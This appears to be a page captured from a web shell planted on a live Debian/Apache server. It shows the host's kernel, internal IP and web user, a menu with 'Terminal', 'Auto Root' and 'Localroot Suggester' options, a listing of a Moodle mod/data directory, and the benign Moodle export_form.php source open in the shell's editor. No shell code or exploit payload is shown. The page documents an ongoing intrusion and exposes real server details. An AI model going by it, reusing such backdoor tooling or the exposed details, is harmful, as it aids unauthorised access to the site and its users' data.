Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
mod /
data /
Delete
Unzip
Name
Size
Permission
Date
Action
backup
[ DIR ]
drwxr-sr-x
2017-06-22 15:10
classes
[ DIR ]
drwxr-sr-x
2017-06-22 15:19
db
[ DIR ]
drwxr-sr-x
2017-06-22 15:19
field
[ DIR ]
drwxr-sr-x
2017-06-22 15:11
lang
[ DIR ]
drwxr-sr-x
2017-06-22 15:11
pix
[ DIR ]
drwxr-sr-x
2017-06-22 15:20
preset
[ DIR ]
drwxr-sr-x
2017-06-22 15:11
tests
[ DIR ]
drwxr-sr-x
2017-06-22 15:20
css.php
1.56
KB
-rw-r--r--
2017-06-22 15:19
data.js
1.89
KB
-rw-r--r--
2017-06-22 15:19
edit.php
13.14
KB
-rw-r--r--
2017-06-22 15:19
export.php
4.2
KB
-rw-r--r--
2017-06-22 15:19
export_form.php
3.94
KB
-rw-r--r--
2017-06-22 15:19
field.php
13.58
KB
-rw-r--r--
2017-06-22 15:20
import.php
6.7
KB
-rw-r--r--
2017-06-22 15:20
import_form.php
1.26
KB
-rw-r--r--
2017-06-22 15:20
index.php
4.9
KB
-rw-r--r--
2017-06-22 15:20
js.php
1.57
KB
-rw-r--r--
2017-06-22 15:20
lib.php
141.03
KB
-rw-r--r--
2017-06-22 15:20
locallib.php
24.39
KB
-rw-r--r--
2017-06-22 15:20
mod_form.php
4.8
KB
-rw-r--r--
2017-06-22 15:20
module.js
382
B
-rw-r--r--
2017-06-22 15:20
preset.php
10.91
KB
-rw-r--r--
2017-06-22 15:20
preset_form.php
2.9
KB
-rw-r--r--
2017-06-22 15:20
renderer.php
4.23
KB
-rw-r--r--
2017-06-22 15:20
rsslib.php
7.33
KB
-rw-r--r--
2017-06-22 15:20
settings.php
606
B
-rw-r--r--
2017-06-22 15:20
styles.css
2.54
KB
-rw-r--r--
2017-06-22 15:20
tabs.php
5.24
KB
-rw-r--r--
2017-06-22 15:20
templates.php
14.75
KB
-rw-r--r--
2017-06-22 15:20
upgrade.txt
329
B
-rw-r--r--
2017-06-22 15:20
version.php
1.18
KB
-rw-r--r--
2017-06-22 15:20
view.php
39.68
KB
-rw-r--r--
2017-06-22 15:20
Save
Rename
<?php if (!defined('MOODLE_INTERNAL')) { die('Direct access to this script is forbidden!'); } require_once($CFG->libdir . '/formslib.php'); require_once($CFG->libdir . '/csvlib.class.php'); class mod_data_export_form extends moodleform { var $_datafields = array(); var $_cm; var $_data; // @param string $url: the url to post to // @param array $datafields: objects in this database public function __construct($url, $datafields, $cm, $data) { $this->_datafields = $datafields; $this->_cm = $cm; $this->_data = $data; parent::__construct($url); } /** * Old syntax of class constructor. Deprecated in PHP7. * * @deprecated since Moodle 3.1 */ public function mod_data_export_form($url, $datafields, $cm, $data) { debugging('Use of class name as constructor is deprecated', DEBUG_DEVELOPER); self::__construct($url, $datafields, $cm, $data); } function definition() { global $CFG; $mform =& $this->_form; $mform->addElement('header', 'notice', get_string('chooseexportformat', 'data')); $choices = csv_import_reader::get_delimiter_list(); $key = array_search(';', $choices); if (! $key === FALSE) { // array $choices contains the semicolon -> drop it (because its encrypted form also contains a semicolon): unset($choices[$key]); } $typesarray = array(); $str = get_string('csvwithselecteddelimiter', 'data'); $typesarray[] = $mform->createElement('radio', 'exporttype', null, $str . ' ', 'csv'); $typesarray[] = $mform->createElement('select', 'delimiter_name', null, $choices); //temporarily commenting out Excel export option. See MDL-19864 //$typesarray[] = $mform->createElement('radio', 'exporttype', null, get_string('excel', 'data'), 'xls'); $typesarray[] = $mform->createElement('radio', 'exporttype', null, get_string('ods', 'data'), 'ods'); $mform->addGroup($typesarray, 'exportar', '', array(''), false); $mform->addRule('exportar', null, 'required'); $mform->setDefault('exporttype', 'csv'); if (array_key_exists('cfg', $choices)) { $mform->setDefault('delimiter_name', 'cfg'); } else if (get_string('listsep', 'langconfig') == ';') { $mform->setDefault('delimiter_name', 'semicolon'); } else { $mform->setDefault('delimiter_name', 'comma'); } $mform->addElement('header', 'notice', get_string('chooseexportfields', 'data')); foreach($this->_datafields as $field) { if($field->text_export_supported()) { $html = '<div title="' . s($field->field->description) . '" ' . 'class="d-inline-block">' . $field->field->name . '</div>'; $name = ' (' . $field->name() . ')'; $mform->addElement('advcheckbox', 'field_' . $field->field->id, $html, $name, array('group' => 1)); $mform->setDefault('field_' . $field->field->id, 1); } else { $a = new stdClass(); $a->fieldtype = $field->name(); $str = get_string('unsupportedexport', 'data', $a); $mform->addElement('static', 'unsupported' . $field->field->id, $field->field->name, $str); } } $this->add_checkbox_controller(1, null, null, 1); $context = context_module::instance($this->_cm->id); if (has_capability('mod/data:exportuserinfo', $context)) { $mform->addElement('checkbox', 'exportuser', get_string('includeuserdetails', 'data')); } $mform->addElement('checkbox', 'exporttime', get_string('includetime', 'data')); if ($this->_data->approval) { $mform->addElement('checkbox', 'exportapproval', get_string('includeapproval', 'data')); } $this->add_action_buttons(true, get_string('exportentries', 'data')); } }